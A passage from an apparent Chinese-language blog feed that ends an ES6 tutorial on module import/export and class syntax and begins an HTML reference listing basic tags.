js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// CommonJS模块</span></span><br><span class="line"><span class="keyword">let</span> &#123; a, b, c &#125; = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 等同于</span></span><br><span class="line"><span class="keyword">let</span> _fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"><span class="keyword">let</span> a = _fs.<span class="property">a</span>;</span><br><span class="line"><span class="keyword">let</span> b = _fs.<span class="property">b</span>;</span><br><span class="line"><span class="keyword">let</span> c = _fs.<span class="property">c</span>;</span><br></pre></td></tr></table></figure><h2 id="严格模式"><a href="#严格模式" class="headerlink" title="严格模式"></a>严格模式</h2><p>ES6 的模块自动采用严格模式，不管你有没有在模块头部加上<code>&quot;use strict&quot;;</code>。</p><p>严格模式主要有以下限制：</p><ul><li>变量必须声明后再使用</li><li>函数的参数不能有同名属性，否则报错</li><li>不能使用<code>with</code>语句</li><li>不能对只读属性赋值，否则报错</li><li>不能使用前缀 0 表示八进制数，否则报错</li><li>不能删除不可删除的属性，否则报错</li><li>不能删除变量<code>delete prop</code>，会报错，只能删除属性<code>delete global[prop]</code></li><li><code>eval</code>不会在它的外层作用域引入变量</li><li><code>eval</code>和<code>arguments</code>不能被重新赋值</li><li><code>arguments</code>不会自动反映函数参数的变化</li><li>不能使用<code>arguments.callee</code></li><li>不能使用<code>arguments.caller</code></li><li>禁止<code>this</code>指向全局对象</li><li>不能使用<code>fn.caller</code>和<code>fn.arguments</code>获取函数调用的堆栈</li><li>增加了保留字（比如<code>protected</code>、<code>static</code>和<code>interface</code>）</li></ul><h2 id="import-和-export"><a href="#import-和-export" class="headerlink" title="import 和 export"></a>import 和 export</h2><p><strong>导出 export</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// moudle.js</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">var</span> num = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">var</span> obj = &#123; <span class="attr">name</span>: <span class="string">&#x27;hello&#x27;</span> &#125;;</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">v</span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(v)</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>或者（推荐）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// moudle.js</span></span><br><span class="line"><span class="keyword">var</span> num = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">var</span> obj = &#123; <span class="attr">name</span>: <span class="string">&#x27;hello&#x27;</span> &#125;;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">v</span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(v)</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">export</span> &#123; num, obj, fn &#125;</span><br></pre></td></tr></table></figure><p><strong>导入 import</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// main.js</span></span><br><span class="line"><span class="keyword">import</span> &#123; num, obj, fn &#125; <span class="keyword">from</span> <span class="string">&#x27;./moudle.js&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="title function_">fn</span>(num); <span class="comment">// 10</span></span><br><span class="line">num = <span class="number">20</span>; <span class="comment">// 报错，import 命令输入的变量都是只读的</span></span><br><span class="line">obj.<span class="property">name</span> = <span class="string">&#x27;hi&#x27;</span>; <span class="comment">// ok，如果变量是一个对象，改写变量的属性是允许的</span></span><br></pre></td></tr></table></figure><p> <strong>别名</strong></p><p>通常情况下，<code>export</code>输出的变量就是本来的名字，但是可以使用<code>as</code>关键字重命名</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a1 = <span class="number">10</span></span><br><span class="line"><span class="keyword">var</span> a2 = <span class="number">20</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> &#123; a1 <span class="keyword">as</span> a, a2 <span class="keyword">as</span> b &#125;;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; a1 <span class="keyword">as</span> a &#125; <span class="keyword">from</span> <span class="string">&#x27;./moudle.js&#x27;</span>;</span><br></pre></td></tr></table></figure><p><strong>注意写法</strong></p><p>变量</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="number">1</span>; <span class="comment">// 报错</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">export</span> a; <span class="comment">// 报错，没有声明变量</span></span><br></pre></td></tr></table></figure><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 写法一</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 写法二</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">export</span> &#123; a &#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 写法三</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">export</span> &#123; a <span class="keyword">as</span> b &#125;;</span><br></pre></td></tr></table></figure><p>方法</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 报错</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;&#125;</span><br><span class="line"><span class="keyword">export</span> fn;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;&#125;</span><br><span class="line"><span class="keyword">export</span> &#123; fn &#125;;</span><br></pre></td></tr></table></figure><p><strong>export 导出命令</strong></p><p>​        一个模块就是一个独立的文件，该文件内部的所有变量，外部无法获取。如果你希望外部能够读取模块内部的某个变量，就必须使用<code>export</code>关键字输出该变量。ES6 将<code>moudle.js</code>其视为一个模块，里面用<code>export</code>命令对外部输出了三个变量。</p><p>另外，<code>export</code>语句输出的接口，与其对应的值是动态绑定关系，即通过该接口，可以取到模块内部实时的值。</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">var</span> foo = <span class="string">&#x27;bar&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> foo = <span class="string">&#x27;baz&#x27;</span>, <span class="number">500</span>);</span><br></pre></td></tr></table></figure><p>上面代码输出变量<code>foo</code>，值为<code>bar</code>，500 毫秒之后变成<code>baz</code>。</p><p>最后，<code>export</code>命令可以出现在模块的任何位置，只要处于模块顶层就可以。如果处于块级作用域内，就会报错，下一节的<code>import</code>命令也是如此。这是因为处于条件代码块之中，就没法做静态优化了，违背了 ES6 模块的设计初衷。</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">export</span> <span class="keyword">default</span> <span class="string">&#x27;bar&#x27;</span> <span class="comment">// error</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">fn</span>()</span><br></pre></td></tr></table></figure><p>上面代码中，<code>export</code>语句放在函数之中，结果报错</p><p><strong>import导入命令</strong></p><p><code>import</code>命令接受一对大括号，里面指定要从其他模块导入的变量名。大括号里面的变量名，必须与被导入模块（<code>moudle.js</code>）对外接口的名称相同。</p><ul><li><p>由于<code>import</code>是静态执行，所以不能使用表达式和变量。</p></li><li><p><code>import</code>命令具有提升效果，会提升到整个模块的头部，首先执行</p></li></ul><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">fn</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> &#123; fn &#125; <span class="keyword">from</span> <span class="string">&#x27;./moudle.js&#x27;</span>;</span><br></pre></td></tr></table></figure><p>上面的代码不会报错，因为<code>import</code>的执行早于<code>foo</code>的调用。这种行为的本质是，<code>import</code>命令是编译阶段执行的，在代码运行之前</p><h2 id="模块的整体加载"><a href="#模块的整体加载" class="headerlink" title="模块的整体加载"></a>模块的整体加载</h2><p>除了指定加载某个输出值，还可以使用整体加载，即用星号（<code>*</code>）指定一个对象，所有输出值都加载在这个对象上面</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// moudle.js</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">add</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> a + b;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">reduce</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> a - b</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>普通加载</strong></p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// main.js</span></span><br><span class="line"><span class="keyword">import</span> &#123; add, reduce &#125; <span class="keyword">from</span> <span class="string">&#x27;./moudle.js&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="title function_">add</span>(<span class="number">3</span>, <span class="number">2</span>) <span class="comment">// 5</span></span><br><span class="line"><span class="title function_">reduce</span>(<span class="number">3</span>, <span class="number">2</span>) <span class="comment">// 1</span></span><br></pre></td></tr></table></figure><p><strong>整体加载</strong></p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// main.js</span></span><br><span class="line"><span class="keyword">import</span> * <span class="keyword">as</span> com <span class="keyword">from</span> <span class="string">&#x27;./moudle.js&#x27;</span>;</span><br><span class="line"></span><br><span class="line">com.<span class="title function_">add</span>(<span class="number">3</span>, <span class="number">2</span>); <span class="comment">// 5</span></span><br><span class="line">com.<span class="title function_">red</span>(<span class="number">3</span>, <span class="number">2</span>); <span class="comment">// 1</span></span><br></pre></td></tr></table></figure><h2 id="export-default"><a href="#export-default" class="headerlink" title="export default"></a>export default</h2><p><code>export default</code>命令，为模块指定默认输出</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// moudle.js</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其他模块加载该模块时，<code>import</code>命令可以为该匿名函数指定任意名字</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// main.js</span></span><br><span class="line"><span class="keyword">import</span> sayHello <span class="keyword">from</span> <span class="string">&#x27;./moudle.js&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="title function_">sayHello</span>(); <span class="comment">// hello</span></span><br></pre></td></tr></table></figure><p>需要注意的是，这时<code>import</code>命令后面，<strong>不使用大括号</strong></p><p><code>export default</code>命令用在非匿名函数前，也是可以的</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> <span class="keyword">function</span> <span class="title function_">sayHello</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或者写成</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">sayHello</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> sayHello;</span><br></pre></td></tr></table></figure><p>上面代码中，<code>sayHello</code>函数的函数名<code>sayHello</code>，在模块外部是无效的，加载的时候，视同匿名函数加载</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// moudle.js</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">add</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> a + b;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">export</span> &#123; add <span class="keyword">as</span> <span class="keyword">default</span> &#125;; <span class="comment">// 等同于 export default add;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// main.js</span></span><br><span class="line"><span class="keyword">import</span> &#123; <span class="keyword">default</span> <span class="keyword">as</span> foo &#125; <span class="keyword">from</span> <span class="string">&#x27;./moudle.js&#x27;</span>; <span class="comment">// 等同于 import foo from &#x27;./modules.js&#x27;;</span></span><br></pre></td></tr></table></figure><p>正是因为<code>export default</code>命令其实只是输出一个叫做<code>default</code>的变量，所以它后面不能跟变量声明语句</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ok</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ok</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> a;</span><br><span class="line"></span><br><span class="line"><span class="comment">// error</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> <span class="keyword">var</span> a = <span class="number">1</span>;</span><br></pre></td></tr></table></figure><p>同样地，因为<code>export default</code>命令的本质是将后面的值，赋给<code>default</code>变量，所以可以直接将一个值写在<code>export default</code>之后</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ok</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> <span class="number">99</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// error</span></span><br><span class="line"><span class="keyword">export</span> <span class="number">99</span>;</span><br></pre></td></tr></table></figure><p>上面代码中，后一句报错是因为没有指定对外的接口，而前一句指定对外接口为<code>default</code></p><blockquote><p><strong>总结</strong></p></blockquote><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 当用 <span class="keyword">export</span> <span class="keyword">default</span> 导出时，就用 <span class="keyword">import</span> 导入（不带大括号）</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 一个文件里，有且只能有一个 <span class="keyword">export</span> <span class="keyword">default</span> ，但可以有多个 <span class="keyword">export</span></span><br><span class="line"></span><br><span class="line"><span class="number">3.</span> 当用 <span class="keyword">export</span> a 时，就用 <span class="keyword">import</span> &#123; a &#125; 导入（记得带上大括号）</span><br><span class="line"></span><br><span class="line"><span class="number">4.</span> 当一个文件里，既有一个 <span class="keyword">export</span> <span class="keyword">default</span> people, 又有多个 <span class="keyword">export</span> name 或者 <span class="keyword">export</span> age 时，导入就用</span><br><span class="line"><span class="keyword">import</span> people, &#123; name, age &#125; <span class="keyword">from</span> <span class="string">&#x27;./moudle.js&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="number">5.</span> 当一个文件里出现 n 多个 <span class="keyword">export</span> 导出很多模块，导入时除了一个一个导入，也可以用</span><br><span class="line">  <span class="keyword">import</span> * <span class="keyword">as</span> com <span class="keyword">from</span> <span class="string">&#x27;./moudle.js&#x27;</span>;</span><br></pre></td></tr></table></figure><h1 id="class-基本语法"><a href="#class-基本语法" class="headerlink" title="class 基本语法"></a>class 基本语法</h1><p><strong>基本用法</strong></p><p>ES5</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Person</span>(<span class="params">name, age</span>) &#123;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">name</span> = name;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">age</span> = age;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title class_">Person</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">say</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>.<span class="property">name</span>, <span class="variable language_">this</span>.<span class="property">age</span>);</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> p = <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&#x27;Jack&#x27;</span>, <span class="number">18</span>);</span><br><span class="line">p.<span class="title function_">say</span>(); <span class="comment">// Jack 18</span></span><br></pre></td></tr></table></figure><p>ES6</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Person</span> &#123;</span><br><span class="line"><span class="title function_">constructor</span>(<span class="params">name, age</span>) &#123; <span class="comment">// 这是类的构造器</span></span><br><span class="line"><span class="variable language_">this</span>.<span class="property">name</span> = name;</span><br><span class="line"><span class="variable language_">this</span>.<span class="property">age</span> = age;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">say</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>.<span class="property">name</span>, <span class="variable language_">this</span>.<span class="property">age</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> p = <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&#x27;Jack&#x27;</span>, <span class="number">20</span>);</span><br><span class="line">p.<span class="title function_">say</span>(); <span class="comment">// Jack 20</span></span><br></pre></td></tr></table></figure><p>每个类中都有一个构造器，如果我们手动指定构造器，那么默认类内部有个隐形的、看不见的空构造器，类似于<code>constructor() {}</code></p><p>构造器的作用：<code>constructor</code>方法是类的默认方法，通过<code>new</code>命令生成对象实例时，自动调用该方法。一个类必须有<code>constructor</code>方法，如果没有显式定义，那么会默认添加一个空的<code>constructor</code>方法</p><p>也就是说，ES5 的构造函数Person，对应 ES6 的Person类的构造方法</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title class_">Person</span> &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 等同于</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Person</span> &#123;</span><br><span class="line">  <span class="title function_">constructor</span>(<span class="params"></span>) &#123;&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>实例属性和静态属性</strong></p><p><strong>实例方法和静态方法</strong></p><p>通过<code>new</code>出来的实例能访问到的属性，叫做<strong>实例属性</strong></p><p>通过构造函数，直接访问到的属性，叫做<strong>静态属性</strong></p><p>ES5</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Person</span>(<span class="params">name, age</span>) &#123;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">name</span> = name; <span class="comment">// name是实例属性</span></span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">age</span> = age; <span class="comment">// age是实例属性</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title class_">Person</span>.<span class="property">msg</span> = <span class="string">&#x27;hello&#x27;</span>; <span class="comment">// msg是静态属性</span></span><br><span class="line"></span><br><span class="line"><span class="title class_">Person</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">say</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;这是Person的实例方法&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title class_">Person</span>.<span class="property">show</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;这是Person的静态方法&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> p = <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&#x27;Jack&#x27;</span>, <span class="number">18</span>);</span><br><span class="line"></span><br><span class="line">p.<span class="property">name</span>; <span class="comment">// Jack</span></span><br><span class="line">p.<span class="property">age</span>; <span class="comment">// 18</span></span><br><span class="line">p.<span class="title function_">say</span>(); <span class="comment">// 这是Person的实例方法</span></span><br><span class="line">p.<span class="title function_">show</span>(); <span class="comment">// error, p.show is not a function</span></span><br><span class="line"><span class="title class_">Person</span>.<span class="title function_">show</span>(); <span class="comment">// 这是Person的静态方法</span></span><br><span class="line">p.<span class="property">msg</span>; <span class="comment">// undefined</span></span><br><span class="line"><span class="title class_">Person</span>.<span class="property">msg</span>; <span class="comment">// hello</span></span><br></pre></td></tr></table></figure><p>ES6</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Person</span> &#123;</span><br><span class="line"><span class="title function_">constructor</span>(<span class="params">name, age</span>) &#123; <span class="comment">// 这是类的构造器</span></span><br><span class="line"><span class="variable language_">this</span>.<span class="property">name</span> = name;</span><br><span class="line"><span class="variable language_">this</span>.<span class="property">age</span> = age;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">static</span> msg = <span class="string">&#x27;hello&#x27;</span>; <span class="comment">// 在class内部，通过static修饰的属性，就是静态属性</span></span><br><span class="line"></span><br><span class="line"><span class="title function_">say</span>(<span class="params"></span>) &#123; <span class="comment">// 实例方法</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;这是Person的实例方法&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> <span class="title function_">show</span>(<span class="params"></span>) &#123; <span class="comment">// 静态方法</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;这是Person的静态方法&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> p = <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&#x27;Jack&#x27;</span>, <span class="number">20</span>);</span><br><span class="line">p.<span class="property">msg</span>; <span class="comment">// undefined</span></span><br><span class="line"><span class="title class_">Person</span>.<span class="property">msg</span>; <span class="comment">// hello</span></span><br></pre></td></tr></table></figure><p><strong>类的继承</strong></p><p>在class中，使用extends关键字实现子类继承父类</p><p>父类</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Person</span> &#123;</span><br><span class="line"><span class="title function_">constructor</span>(<span class="params">name, age</span>) &#123;</span><br><span class="line"><span class="variable language_">this</span>.<span class="property">name</span> = name;</span><br><span class="line"><span class="variable language_">this</span>.<span class="property">age</span> = age;</span><br><span class="line">&#125;</span><br><span class="line">  <span class="title function_">say</span>(<span class="params"></span>) &#123;</span><br><span class="line">   <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;大家好&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>子类</p><ul><li>美国人</li></ul><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">American</span> <span class="keyword">extends</span> <span class="title class_ inherited__">Person</span> &#123;</span><br><span class="line"><span class="title function_">constructor</span>(<span class="params">name, age</span>) &#123;</span><br><span class="line"> <span class="variable language_">super</span>(name, age); <span class="comment">// 调用父类的constructor(name, age)</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> a = <span class="keyword">new</span> <span class="title class_">American</span>(<span class="string">&#x27;Jack&#x27;</span>, <span class="number">20</span> );</span><br></pre></td></tr></table></figure><ul><li>中国人(有身份证号独有)</li></ul><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Chinese</span> <span class="keyword">extends</span> <span class="title class_ inherited__">Person</span> &#123;</span><br><span class="line"><span class="title function_">constructor</span>(<span class="params">name, age, IDNumber</span>) &#123;</span><br><span class="line"> <span class="variable language_">super</span>(name, age); <span class="comment">// 调用父类的constructor(name, age)</span></span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">IDNumber</span> = <span class="title class_">IDNumber</span>; <span class="comment">// 语法规范：在子类中，this只能放到super之后使用</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> c = <span class="keyword">new</span> <span class="title class_">Chinese</span>(<span class="string">&#x27;李三&#x27;</span>, <span class="number">20</span>, <span class="string">&#x27;450981******&#x27;</span> );</span><br></pre></td></tr></table></figure><p>1.为什么一定要在<code>constructor</code>中调用<code>super</code>?</p><p>答：因为如果一个子类通过extends关键字继承父类，那么在子类的constructor构造函数中必须优先调用super()</p><p>2.<code>super</code>是什么东西？</p><p>答： super是一个函数，他是父类的构造器，子类中的super其实就是父类中constructor构造器的一个引用</p><p>3.如果不调用<code>super</code>方法，子类就得不到 this 对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Point</span> &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typeof</span> <span class="title class_">Point</span>; <span class="comment">// function</span></span><br><span class="line"><span class="title class_">Point</span> === <span class="title class_">Point</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">constructor</span>; <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p><strong>class注意问题</strong></p><ul><li>在class内部，只能写构造器，实例方法，静态属性，静态方法</li></ul><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Person</span> &#123;</span><br><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>; <span class="comment">// 报错</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>class关键字内部，还是用原来的ES5实现，我们把class关键字称作语法糖</li></ul>]]></content>
      
      
      <categories>
          
          <category> ES6 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> web </tag>
            
            <tag> ES6 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>HTML-CSS-JS参考手册</title>
      <link href="/2021/08/15/html-css-js-can-kao-shou-ce/"/>
      <url>/2021/08/15/html-css-js-can-kao-shou-ce/</url>
      
        <content type="html"><![CDATA[<h1 id="HTML"><a href="#HTML" class="headerlink" title="HTML"></a>HTML</h1><h2 id="HTML结构"><a href="#HTML结构" class="headerlink" title="HTML结构"></a>HTML结构</h2><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!--移动端适配代码--&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;viewport&quot;</span> <span class="attr">content</span>=<span class="string">&quot;width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>首页<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="基本标签"><a href="#基本标签" class="headerlink" title="基本标签"></a>基本标签</h2><p><strong>常用标签</strong></p><table><thead><tr><th>基本标签</th><th>说明</th></tr></thead><tbody><tr><td>div</td><td>布局容器</td></tr><tr><td>h1-h6</td><td>标题标签（h1权重最高 (页面中 最重要的位置logo 新闻标题)页面中只能出现一次），h3常用</td></tr><tr><td>p</td><td>段落标签</td></tr><tr><td>br</td><td>换行标签</td></tr><tr><td>hr</td><td>水平分割线标签</td></tr><tr><td>b</td><td>文本加粗</td></tr><tr><td>strong</td><td>文本加粗[强调]</td></tr><tr><td>i</td><td>文本斜体</td></tr><tr><td>em</td><td>文本斜体</td></tr><tr><td>s</td><td>文本删除线</td></tr><tr><td>del</td><td>文本删除线[强调]</td></tr><tr><td>u</td><td>文本下划线</td></tr><tr><td>ins</td><td>文本下划线[强调]</td></tr><tr><td>big</td><td>文本放大</td></tr><tr><td>small</td><td>文本缩小</td></tr><tr><td>sub</td><td>下标</td></tr><tr><td>sup</td><td>上标</td></tr><tr><td>pre</td><td>预格式文本[原样输出]</td></tr><tr><td>textarea</td><td>文本域</td></tr><tr><td>meta</td><td>单标签</td></tr></tbody></table><p><strong>特殊字符标签</strong></p><table><thead><tr><th>转义字符</th><th>说明</th></tr></thead><tbody><tr><td>&amp;nbsp ；</td><td>空格</td></tr><tr><td>&amp;lt ;</td><td>&lt;</td></tr><tr><td>&amp;gt ;</td><td>&gt;</td></tr></tbody></table><h2 id="块级元素和行内元素"><a 